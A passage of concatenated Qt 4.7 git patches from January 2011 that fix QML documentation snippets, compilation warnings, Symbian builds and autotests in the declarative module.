false -//! [79] + //! [79] } void Widget::toUShortFunction() { -//! [80] + //! [80] QString str = "FF"; bool ok; ushort hex = str.toUShort(&ok, 16); // hex == 255, ok == true ushort dec = str.toUShort(&ok, 10); // dec == 0, ok == false -//! [80] + //! [80] } void Widget::toUpperFunction() { -//! [81] + //! [81] QString str = "TeXt"; str = str.toUpper(); // str == "TEXT" -//! [81] + //! [81] } void Widget::trimmedFunction() { -//! [82] + //! [82] QString str = " lots\t of\nwhitespace\r\n "; str = str.trimmed(); // str == "lots\t of\nwhitespace" -//! [82] + //! [82] } void Widget::truncateFunction() { -//! [83] + //! [83] QString str = "Vladivostok"; str.truncate(4); // str == "Vlad" -//! [83] + //! [83] } void Widget::plusEqualOperator() { -//! [84] + //! [84] QString x = "free"; QString y = "dom"; x += y; // x == "freedom" -//! [84] + //! [84] } void Widget::arrayOperator() { -//! [85] + //! [85] QString str; if (str[0] == QChar('?')) str[0] = QChar('_'); -//! [85] + //! [85] } void Widget::midRefFunction() { -//! [midRef] + //! [midRef] QString x = "Nine pineapples"; QStringRef y = x.midRef(5, 4); // y == "pine" QStringRef z = x.midRef(5); // z == "pineapples" -//! [midRef] + //! [midRef] } void Widget::leftRefFunction() { -//! [leftRef] + //! [leftRef] QString x = "Pineapple"; QStringRef y = x.leftRef(4); // y == "Pine" -//! [leftRef] + //! [leftRef] } void Widget::rightRefFunction() { -//! [rightRef] + //! [rightRef] QString x = "Pineapple"; QStringRef y = x.rightRef(5); // y == "apple" -//! [rightRef] + //! [rightRef] } -- cgit v0.12 From 006929de7f84430278e370eaa468a93fa3a1fb96 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 17 Jan 2011 20:16:50 +0100 Subject: Doc: Fixed invalid/incomplete QML code snippets. --- .../declarative/toys/dynamicscene/dynamicscene.qml | 3 +- .../graphicsitems/qdeclarativeborderimage.cpp | 17 +++++--- .../graphicsitems/qdeclarativepathview.cpp | 2 +- .../graphicsitems/qdeclarativetextedit.cpp | 10 +++-- src/declarative/qml/qdeclarativedom.cpp | 8 ++-- src/declarative/qml/qdeclarativeengine.cpp | 18 +++++++-- src/declarative/qml/qdeclarativeworkerscript.cpp | 7 +--- src/declarative/util/qdeclarativeanimation.cpp | 45 +++++++++------------- src/declarative/util/qdeclarativestate.cpp | 19 +++++---- src/declarative/util/qdeclarativetransition.cpp | 34 ++-------------- src/imports/gestures/qdeclarativegesturearea.cpp | 18 ++++----- 11 files changed, 82 insertions(+), 99 deletions(-) diff --git a/examples/declarative/toys/dynamicscene/dynamicscene.qml b/examples/declarative/toys/dynamicscene/dynamicscene.qml index cfc4b74..a436b41 100644 --- a/examples/declarative/toys/dynamicscene/dynamicscene.qml +++ b/examples/declarative/toys/dynamicscene/dynamicscene.qml @@ -215,9 +215,10 @@ Item { PropertyChanges { target: stars; opacity: 0 } } + //! [top-level transitions] transitions: Transition { PropertyAnimation { duration: 3000 } ColorAnimation { duration: 3000 } } - + //! [top-level transitions] } diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index 16fb376..a851864 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -215,11 +215,13 @@ QDeclarativeBorderImage::~QDeclarativeBorderImage() image \c picture.png: \qml - border.left: 10 - border.top: 10 - border.bottom: 10 - border.right: 10 - source: picture.png + BorderImage { + border.left: 10 + border.top: 10 + border.bottom: 10 + border.right: 10 + source: "picture.png" + } \endqml The URL may be absolute, or relative to the URL of the component. @@ -337,7 +339,10 @@ void QDeclarativeBorderImage::load() the bottom of the image: \qml - border.bottom: 10 + BorderImage { + border.bottom: 10 + // ... + } \endqml The border lines can also be specified using a diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp index 64656af..ee73880 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp @@ -444,7 +444,7 @@ QDeclarativePathView::~QDeclarativePathView() Component { Rectangle { visible: PathView.onPath - ... + // ... } } \endqml diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index 675f8d9..d326ff7 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -350,11 +350,13 @@ void QDeclarativeTextEdit::setFont(const QFont &font) The text color. \qml -// green text using hexadecimal notation -TextEdit { color: "#00FF00"; ... } + // green text using hexadecimal notation + TextEdit { color: "#00FF00" } + \endqml -// steelblue text using SVG color name -TextEdit { color: "steelblue"; ... } + \qml + // steelblue text using SVG color name + TextEdit { color: "steelblue" } \endqml */ QColor QDeclarativeTextEdit::color() const diff --git a/src/declarative/qml/qdeclarativedom.cpp b/src/declarative/qml/qdeclarativedom.cpp index 89aa79a..f1296aa 100644 --- a/src/declarative/qml/qdeclarativedom.cpp +++ b/src/declarative/qml/qdeclarativedom.cpp @@ -334,10 +334,10 @@ QList QDeclarativeDomProperty::propertyNameParts() const Return true if this property is used as a default property in the QML document. - \qml + \code hello - \endqml + \endcode The above two examples return the same DOM tree, except that the second has the default property flag set on the text property. Observe that whether @@ -509,10 +509,10 @@ QByteArray QDeclarativeDomDynamicProperty::propertyTypeName() const Return true if this property is used as a default property in the QML document. - \qml + \code hello - \endqml + \endcode The above two examples return the same DOM tree, except that the second has the default property flag set on the text property. Observe that whether diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index e0c6e1a..e602781 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1872,14 +1872,24 @@ QScriptValue QDeclarativeEnginePrivate::quit(QScriptContext * /*ctxt*/, QScriptE } /*! -\qmlmethod color Qt::tint(color baseColor, color tintColor) + \qmlmethod color Qt::tint(color baseColor, color tintColor) This function allows tinting one color with another. - The tint color should usually be mostly transparent, or you will not be able to see the underlying color. The below example provides a slight red tint by having the tint color be pure red which is only 1/16th opaque. + The tint color should usually be mostly transparent, or you will not be + able to see the underlying color. The below example provides a slight red + tint by having the tint color be pure red which is only 1/16th opaque. \qml - Rectangle { x: 0; width: 80; height: 80; color: "lightsteelblue" } - Rectangle { x: 100; width: 80; height: 80; color: Qt.tint("lightsteelblue", "#10FF0000") } + Item { + Rectangle { + x: 0; width: 80; height: 80 + color: "lightsteelblue" + } + Rectangle { + x: 100; width: 80; height: 80 + color: Qt.tint("lightsteelblue", "#10FF0000") + } + } \endqml \image declarative-rect_tint.png diff --git a/src/declarative/qml/qdeclarativeworkerscript.cpp b/src/declarative/qml/qdeclarativeworkerscript.cpp index ac13c68..6283f92 100644 --- a/src/declarative/qml/qdeclarativeworkerscript.cpp +++ b/src/declarative/qml/qdeclarativeworkerscript.cpp @@ -544,12 +544,7 @@ void QDeclarativeWorkerScriptEngine::run() The above worker script specifies a JavaScript file, "script.js", that handles the operations to be performed in the new thread. Here is \c script.js: - \qml - WorkerScript.onMessage = function(message) { - // ... long-running operations and calculations are done here - WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y }) - } - \endqml + \quotefile doc/src/snippets/declarative/script.js When the user clicks anywhere within the rectangle, \c sendMessage() is called, triggering the \tt WorkerScript.onMessage() handler in diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index f22b9dd..e5905c4 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -672,7 +672,9 @@ QDeclarativeColorAnimation::~QDeclarativeColorAnimation() \qml Item { - states: [ ... ] + states: [ + // ... + ] transition: Transition { NumberAnimation { from: "#c0c0c0"; duration: 2000 } @@ -725,7 +727,7 @@ void QDeclarativeColorAnimation::setTo(const QColor &t) /*! \qmlclass ScriptAction QDeclarativeScriptAction - \ingroup qml-animation-transition + \ingroup qml-animation-transition \since 4.7 \inherits Animation \brief The ScriptAction element allows scripts to be run during an animation. @@ -734,31 +736,20 @@ void QDeclarativeColorAnimation::setTo(const QColor &t) \qml SequentialAnimation { - NumberAnimation { ... } + NumberAnimation { + // ... + } ScriptAction { script: doSomething(); } - NumberAnimation { ... } + NumberAnimation { + // ... + } } \endqml When used as part of a Transition, you can also target a specific StateChangeScript to run using the \c scriptName property. - \qml - State { - StateChangeScript { - name: "myScript" - script: doStateStuff(); - } - } - ... - Transition { - SequentialAnimation { - NumberAnimation { ... } - ScriptAction { scriptName: "myScript" } - NumberAnimation { ... } - } - } - \endqml + \snippet doc/src/snippets/declarative/states/statechangescript.qml state and transition \sa StateChangeScript */ @@ -870,7 +861,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation() /*! \qmlclass PropertyAction QDeclarativePropertyAction - \ingroup qml-animation-transition + \ingroup qml-animation-transition \since 4.7 \inherits Animation \brief The PropertyAction element allows immediate property changes during animation. @@ -896,7 +887,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation() However, with this code, the \c transformOrigin is not set until \e after the animation, as a \l State is taken to define the values at the \e end of a transition. The animation would rotate at the default \c transformOrigin, - then jump to \c Item.BottomRight. To fix this, insert a PropertyChanges + then jump to \c Item.BottomRight. To fix this, insert a PropertyAction before the RotationAnimation begins: \qml @@ -910,7 +901,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation() This immediately sets the \c transformOrigin property to the value defined in the end state of the \l Transition (i.e. the value defined in the - PropertyChanges object) so that the rotation animation begins with the + PropertyAction object) so that the rotation animation begins with the correct transform origin. \sa {QML Animation}, QtDeclarative @@ -1421,7 +1412,9 @@ QDeclarativeRotationAnimation::~QDeclarativeRotationAnimation() \qml Item { - states: [ ... ] + states: [ + // ... + ] transition: Transition { RotationAnimation { properties: "angle"; from: 100; duration: 2000 } @@ -2253,7 +2246,7 @@ void QDeclarativePropertyAnimation::setProperties(const QString &prop) width: 100; height: 100 color: Qt.rgba(0,0,1) //need to explicitly specify target and property - NumberAnimation { id: theAnim; target: theRect; property: "x" to: 500 } + NumberAnimation { id: theAnim; target: theRect; property: "x"; to: 500 } MouseArea { anchors.fill: parent onClicked: theAnim.start() @@ -2555,7 +2548,7 @@ void QDeclarativeParentAnimation::setNewParent(QDeclarativeItem *newParent) ParentAnimation { target: myItem via: topLevelItem - ... + // ... } \endqml */ diff --git a/src/declarative/util/qdeclarativestate.cpp b/src/declarative/util/qdeclarativestate.cpp index bb1a0b8..c41d39a 100644 --- a/src/declarative/util/qdeclarativestate.cpp +++ b/src/declarative/util/qdeclarativestate.cpp @@ -216,15 +216,18 @@ bool QDeclarativeState::isWhenKnown() const \snippet doc/src/snippets/declarative/state-when.qml 0 - If multiple states in a group have \c when clauses that evaluate to \c true at the same time, - the first matching state will be applied. For example, in the following snippet - \c state1 will always be selected rather than \c state2 when sharedCondition becomes - \c true. + If multiple states in a group have \c when clauses that evaluate to \c true + at the same time, the first matching state will be applied. For example, in + the following snippet \c state1 will always be selected rather than + \c state2 when sharedCondition becomes \c true. \qml - states: [ - State { name: "state1"; when: sharedCondition }, - State { name: "state2"; when: sharedCondition } - ] + Item { + states: [ + State { name: "state1"; when: sharedCondition }, + State { name: "state2"; when: sharedCondition } + ] + // ... + } \endqml */ QDeclarativeBinding *QDeclarativeState::when() const diff --git a/src/declarative/util/qdeclarativetransition.cpp b/src/declarative/util/qdeclarativetransition.cpp index e533a07..063ec3e 100644 --- a/src/declarative/util/qdeclarativetransition.cpp +++ b/src/declarative/util/qdeclarativetransition.cpp @@ -82,15 +82,7 @@ QT_BEGIN_NAMESPACE To define multiple transitions, specify \l Item::transitions as a list: - \qml - Item { - ... - transitions: [ - Transition { to: "state1" ... }, - Transition { ... } - ] - } - \endqml + \snippet doc/src/snippets/declarative/transitions-list.qml list of transitions If multiple Transitions are specified, only a single (best-matching) Transition will be applied for any particular state change. In the example above, when changing to \c state1, the first transition will be used, rather @@ -222,13 +214,7 @@ void QDeclarativeTransition::prepare(QDeclarativeStateOperation::ActionList &act If the transition was changed to this: - \qml - transitions: Transition { - to: "brighter" - ColorAnimation { duration: 1000 } - } - } - \endqml + \snippet doc/src/snippets/declarative/transition-from-to-modified.qml modified transition The animation would only be applied when changing from the default state to the "brighter" state (i.e. when the mouse is pressed, but not on release). @@ -313,24 +299,12 @@ void QDeclarativeTransition::setToState(const QString &t) This property holds a list of the animations to be run for this transition. - \qml - Transition { - PropertyAnimation { ... } - NumberAnimation { ... } - } - \endqml + \snippet examples/declarative/toys/dynamicscene/dynamicscene.qml top-level transitions The top-level animations are run in parallel. To run them sequentially, define them within a SequentialAnimation: - \qml - Transition { - SequentialAnimation { - PropertyAnimation { ... } - NumberAnimation { ... } - } - } - \endqml + \snippet doc/src/snippets/declarative/transition-reversible.qml sequential animations */ QDeclarativeListProperty QDeclarativeTransition::animations() { diff --git a/src/imports/gestures/qdeclarativegesturearea.cpp b/src/imports/gestures/qdeclarativegesturearea.cpp index ba3adc5..1b6e723 100644 --- a/src/imports/gestures/qdeclarativegesturearea.cpp +++ b/src/imports/gestures/qdeclarativegesturearea.cpp @@ -86,22 +86,22 @@ public: A GestureArea is like a MouseArea, but it has signals for gesture events. - \e {Elements in the Qt.labs module are not guaranteed to remain compatible - in future versions.} + \warning Elements in the Qt.labs module are not guaranteed to remain compatible + in future versions. - \e {This element is only functional on devices with touch input.} + \note This element is only functional on devices with touch input. \qml import Qt.labs.gestures 1.0 GestureArea { anchors.fill: parent - onPan: ... gesture.acceleration ... - onPinch: ... gesture.rotationAngle ... - onSwipe: ... - onTapAndHold: ... - onTap: ... - onGesture: ... + // onPan: ... gesture.acceleration ... + // onPinch: ... gesture.rotationAngle ... + // onSwipe: ... + // onTapAndHold: ... + // onTap: ... + // onGesture: ... } \endqml -- cgit v0.12 From 5100cfbd888301d0dd040e8959a56353fa72573a Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Tue, 18 Jan 2011 10:42:22 +1000 Subject: Proper versioning for canPaste --- src/declarative/graphicsitems/qdeclarativetextedit_p.h | 2 +- src/declarative/graphicsitems/qdeclarativetextinput_p.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h index f28763e..7c6e999 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h @@ -92,7 +92,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativePaintedItem Q_PROPERTY(qreal textMargin READ textMargin WRITE setTextMargin NOTIFY textMarginChanged) Q_PROPERTY(Qt::InputMethodHints inputMethodHints READ inputMethodHints WRITE setInputMethodHints) Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged) - Q_REVISION(1) Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged) + Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged REVISION 1) public: QDeclarativeTextEdit(QDeclarativeItem *parent=0); diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h index 582e626..ec260d5 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h @@ -95,7 +95,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativePaintedItem Q_PROPERTY(QString displayText READ displayText NOTIFY displayTextChanged) Q_PROPERTY(bool autoScroll READ autoScroll WRITE setAutoScroll NOTIFY autoScrollChanged) Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged) - Q_REVISION(1) Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged) + Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged REVISION 1) public: QDeclarativeTextInput(QDeclarativeItem* parent=0); -- cgit v0.12 From ac2df91cf83918d1b247382fe75a30fafc1a896f Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Tue, 18 Jan 2011 11:51:55 +1000 Subject: Document TextInput::readOnly --- src/declarative/graphicsitems/qdeclarativetextinput.cpp | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index bfdcc9b..e35032b 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -345,6 +345,16 @@ void QDeclarativeTextInput::setHAlign(HAlignment align) emit horizontalAlignmentChanged(d->hAlign); } +/*! + \qmlproperty bool TextInput::readOnly + + Sets whether user input can modify the contents of the TextInput. + + If readOnly is set to true, then user input will not affect the text + property. Any bindings or attempts to set the text property will still + work. +*/ + bool QDeclarativeTextInput::isReadOnly() const { Q_D(const QDeclarativeTextInput); -- cgit v0.12 From f503dc25886e556983fc1bf3efb2e15669f3507c Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Tue, 18 Jan 2011 13:47:17 +1000 Subject: Cleanup view at end of auto test. --- .../declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index d7e6a60..88bff8a 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -619,6 +619,7 @@ void tst_qdeclarativetextinput::dragMouseSelection() QVERIFY(str2.length() > 3); QVERIFY(str1 != str2); // Verify the second press and drag is a new selection and doesn't not the first moved. + delete canvas; } void tst_qdeclarativetextinput::horizontalAlignment_data() @@ -1129,6 +1130,8 @@ void tst_qdeclarativetextinput::echoMode() input->setFocus(false); QVERIFY(input->hasActiveFocus() == false); QCOMPARE(input->displayText(), QLatin1String("Q")); + + delete canvas; } void tst_qdeclarativetextinput::simulateKey(QDeclarativeView *view, int key) -- cgit v0.12 From 9ef953a65a96b511aae2a4ba6db9579b5d23cc29 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Tue, 18 Jan 2011 13:37:56 +1000 Subject: Add a way to clear warnings in qmlviewer warnings window on Symbian Basically by adding a clear soft key to the currently empty right soft key in warninng window in qmlviewer. Task-number: Reviewed-by: Martin Jones --- tools/qml/loggerwidget.cpp | 5 +++++ tools/qml/qmlruntime.cpp | 4 +++- 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/tools/qml/loggerwidget.cpp b/tools/qml/loggerwidget.cpp index fb4fedc..e167c94 100644 --- a/tools/qml/loggerwidget.cpp +++ b/tools/qml/loggerwidget.cpp @@ -67,6 +67,11 @@ LoggerWidget::LoggerWidget(QWidget *parent) : m_plainTextEdit = new QPlainTextEdit(); #if defined(Q_OS_SYMBIAN) + QAction* clearAction = new QAction(tr("Clear"), this); + clearAction->setSoftKeyRole(QAction::PositiveSoftKey); + connect(clearAction, SIGNAL(triggered()), m_plainTextEdit, SLOT(clear())); + addAction(clearAction); + m_plainTextEdit->setReadOnly(true); QAction* backAction = new QAction( tr("Back"), this ); backAction->setSoftKeyRole( QAction::NegativeSoftKey ); diff --git a/tools/qml/qmlruntime.cpp b/tools/qml/qmlruntime.cpp index 31bb73b..586eaa5 100644 --- a/tools/qml/qmlruntime.cpp +++ b/tools/qml/qmlruntime.cpp @@ -781,9 +781,11 @@ void QDeclarativeViewer::createMenu() aboutAction->setMenuRole(QAction::AboutQtRole); connect(aboutAction, SIGNAL(triggered()), qApp, SLOT(aboutQt())); +#if !defined(Q_OS_SYMBIAN) QAction *closeAction = new QAction(tr("&Close"), this); closeAction->setShortcuts(QKeySequence::Close); connect(closeAction, SIGNAL(triggered()), this, SLOT(close())); +#endif QAction *quitAction = new QAction(tr("&Quit"), this); quitAction->setMenuRole(QAction::QuitRole); @@ -819,9 +821,9 @@ void QDeclarativeViewer::createMenu() fileMenu->addAction(openAction); fileMenu->addAction(openUrlAction); fileMenu->addAction(reloadAction); +#if !defined(Q_OS_SYMBIAN) fileMenu->addSeparator(); fileMenu->addAction(closeAction); -#if !defined(Q_OS_SYMBIAN) fileMenu->addAction(quitAction); QMenu *recordMenu = menu->addMenu(tr("&Recording")); -- cgit v0.12 From 9f6fd23fda43a5668d3fad398eb3e9d80cee9c44 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Tue, 18 Jan 2011 13:42:48 +1000 Subject: Fix QtDeclarative compilation warnings Task-number: Reviewed-by: Martin Jones --- src/declarative/graphicsitems/qdeclarativegridview.cpp | 8 -------- src/declarative/qml/qdeclarativeboundsignal.cpp | 2 +- src/declarative/qml/qdeclarativeenginedebug.cpp | 13 ++++++------- src/declarative/qml/qdeclarativescriptparser.cpp | 6 ------ src/declarative/util/qdeclarativeutilmodule.cpp | 2 +- 5 files changed, 8 insertions(+), 23 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 6e6e8c1..0bea638 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -2618,12 +2618,8 @@ void QDeclarativeGridView::itemsMoved(int from, int to, int count) return; QHash moved; - bool removedBeforeVisible = false; FxGridItem *firstItem = d->firstVisibleItem(); - if (from < to && from < d->visibleIndex && to > d->visibleIndex) - removedBeforeVisible = true; - QList::Iterator it = d->visibleItems.begin(); while (it != d->visibleItems.end()) { FxGridItem *item = *it; @@ -2632,16 +2628,12 @@ void QDeclarativeGridView::itemsMoved(int from, int to, int count) item->index += (to-from); moved.insert(item->index, item); it = d->visibleItems.erase(it); - if (item->rowPos() < firstItem->rowPos()) - removedBeforeVisible = true; } else { if (item->index > from && item->index != -1) { // move everything after the moved items. item->index -= count; if (item->index < d->visibleIndex) d->visibleIndex = item->index; - } else if (item->index != -1) { - removedBeforeVisible = true; } ++it; } diff --git a/src/declarative/qml/qdeclarativeboundsignal.cpp b/src/declarative/qml/qdeclarativeboundsignal.cpp index 030fb2c..0ac3f64 100644 --- a/src/declarative/qml/qdeclarativeboundsignal.cpp +++ b/src/declarative/qml/qdeclarativeboundsignal.cpp @@ -167,7 +167,7 @@ int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a) { if (c == QMetaObject::InvokeMetaMethod && id == evaluateIdx) { QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::HandlingSignal); - QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::HandlingSignal, QLatin1String(m_signal.signature()) + QLatin1String(": ") + (m_expression ? m_expression->expression() : "")); + QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::HandlingSignal, QLatin1String(m_signal.signature()) + QLatin1String(": ") + (m_expression ? m_expression->expression() : QLatin1String(""))); m_isEvaluating = true; if (!m_paramsValid) { if (!m_signal.parameterTypes().isEmpty()) diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp index b6b4b49..0881003 100644 --- a/src/declarative/qml/qdeclarativeenginedebug.cpp +++ b/src/declarative/qml/qdeclarativeenginedebug.cpp @@ -539,7 +539,6 @@ void QDeclarativeEngineDebugServer::setBinding(int objectId, { QObject *object = objectForId(objectId); QDeclarativeContext *context = qmlContext(object); - QByteArray propertyNameArray = propertyName.toUtf8(); if (object && context) { QDeclarativeProperty property(object, propertyName, context); @@ -550,7 +549,7 @@ void QDeclarativeEngineDebugServer::setBinding(int objectId, foreach(QWeakPointer statePointer, m_allStates) { if (QDeclarativeState *state = statePointer.data()) { // here we assume that the revert list on itself defines the base state - if ( state->isStateActive() && state->containsPropertyInRevertList(object, propertyNameArray) ) { + if (state->isStateActive() && state->containsPropertyInRevertList(object, propertyName)) { inBaseState = false; QDeclarativeBinding *newBinding = 0; @@ -560,10 +559,10 @@ void QDeclarativeEngineDebugServer::setBinding(int objectId, newBinding->setNotifyOnValueChanged(true); } - state->changeBindingInRevertList(object,propertyNameArray, newBinding); + state->changeBindingInRevertList(object, propertyName, newBinding); if (isLiteralValue) - state->changeValueInRevertList(object, propertyNameArray, expression); + state->changeValueInRevertList(object, propertyName, expression); } } } @@ -592,9 +591,9 @@ void QDeclarativeEngineDebugServer::setBinding(int objectId, // not a valid property if (QDeclarativePropertyChanges *propertyChanges = dynamic_cast(object)) { if (isLiteralValue) { - propertyChanges->changeValue(propertyName.toUtf8(),expression); + propertyChanges->changeValue(propertyName, expression); } else { - propertyChanges->changeExpression(propertyName.toUtf8(),expression.toString()); + propertyChanges->changeExpression(propertyName, expression.toString()); } } else { qWarning() << "QDeclarativeEngineDebugServer::setBinding: unable to set property" << propertyName << "on object" << object; @@ -639,7 +638,7 @@ void QDeclarativeEngineDebugServer::resetBinding(int objectId, const QString &pr } } else { if (QDeclarativePropertyChanges *propertyChanges = dynamic_cast(object)) { - propertyChanges->removeProperty(propertyName.toUtf8()); + propertyChanges->removeProperty(propertyName); } } } diff --git a/src/declarative/qml/qdeclarativescriptparser.cpp b/src/declarative/qml/qdeclarativescriptparser.cpp index e32a3d2..ce6f943 100644 --- a/src/declarative/qml/qdeclarativescriptparser.cpp +++ b/src/declarative/qml/qdeclarativescriptparser.cpp @@ -170,12 +170,6 @@ private: StateStack _stateStack; QStringList _scope; QString _contents; - - inline bool isSignalProperty(const QByteArray &propertyName) const { - return (propertyName.length() >= 3 && propertyName.startsWith("on") && - ('A' <= propertyName.at(2) && 'Z' >= propertyName.at(2))); - } - }; ProcessAST::ProcessAST(QDeclarativeScriptParser *parser) diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp index 5abf085..f32f390 100644 --- a/src/declarative/util/qdeclarativeutilmodule.cpp +++ b/src/declarative/util/qdeclarativeutilmodule.cpp @@ -76,7 +76,7 @@ void QDeclarativeUtilModule::defineModule() { - qmlRegisterUncreatableType("QtQuick",1,1,"Application", "Application is an abstract class"); + qmlRegisterUncreatableType("QtQuick",1,1,"Application", QDeclarativeApplication::tr("Application is an abstract class")); qmlRegisterType("QtQuick",1,0,"AnchorAnimation"); qmlRegisterType("QtQuick",1,0,"AnchorChanges"); -- cgit v0.12 From e46c44f9538dbe5b44ce61d3a42403cfa471ae8b Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Tue, 18 Jan 2011 14:16:47 +1000 Subject: Fix declarative autotest compilation on Symbian Task-number: Reviewed-by: Martin Jones --- src/declarative/qml/qdeclarativeglobal_p.h | 2 +- .../tst_qdeclarativepixmapcache.cpp | 12 ++++++++++++ tests/auto/declarative/qmlvisual/qmlvisual.pro | 2 +- tools/qml/qml.pri | 17 +++++++++++++---- tools/qml/qml.pro | 6 ------ 5 files changed, 27 insertions(+), 12 deletions(-) diff --git a/src/declarative/qml/qdeclarativeglobal_p.h b/src/declarative/qml/qdeclarativeglobal_p.h index 31fbb1e..b8428b8 100644 --- a/src/declarative/qml/qdeclarativeglobal_p.h +++ b/src/declarative/qml/qdeclarativeglobal_p.h @@ -65,7 +65,7 @@ QT_MODULE(Declarative) } #ifdef Q_OS_SYMBIAN -#define Q_DECLARATIVE_PRIVATE_EXPORT +#define Q_DECLARATIVE_PRIVATE_EXPORT Q_AUTOTEST_EXPORT #else #define Q_DECLARATIVE_PRIVATE_EXPORT Q_DECLARATIVE_EXPORT #endif diff --git a/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp b/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp index 50d0731..df7c694 100644 --- a/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp +++ b/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp @@ -47,6 +47,11 @@ #include "testhttpserver.h" #include "../../../shared/util.h" +#ifndef QT_NO_CONCURRENT +#include +#include +#endif + // These don't let normal people run tests! //#include "../network-settings.h" @@ -74,7 +79,10 @@ private slots: void massive(); void cancelcrash(); void shrinkcache(); +#ifndef QT_NO_CONCURRENT void networkCrash(); +#endif + private: QDeclarativeEngine engine; QUrl thisfile; @@ -354,6 +362,8 @@ void tst_qdeclarativepixmapcache::shrinkcache() } } +#ifndef QT_NO_CONCURRENT + void createNetworkServer() { QEventLoop eventLoop; @@ -378,6 +388,8 @@ void tst_qdeclarativepixmapcache::networkCrash() future.cancel(); } +#endif + QTEST_MAIN(tst_qdeclarativepixmapcache) #include "tst_qdeclarativepixmapcache.moc" diff --git a/tests/auto/declarative/qmlvisual/qmlvisual.pro b/tests/auto/declarative/qmlvisual/qmlvisual.pro index cb7e5d7..b2c5b4f 100644 --- a/tests/auto/declarative/qmlvisual/qmlvisual.pro +++ b/tests/auto/declarative/qmlvisual/qmlvisual.pro @@ -19,7 +19,7 @@ symbian: { qdeclarativepathview \ qdeclarativepositioners \ qdeclarativesmoothedanimation \ - qdeclarativespringfollow \ + qdeclarativespringanimation \ qdeclarativetext \ qdeclarativetextedit \ qdeclarativetextinput \ diff --git a/tools/qml/qml.pri b/tools/qml/qml.pri index 5db7678..08cd506 100644 --- a/tools/qml/qml.pri +++ b/tools/qml/qml.pri @@ -19,10 +19,18 @@ SOURCES += $$PWD/qmlruntime.cpp \ RESOURCES = 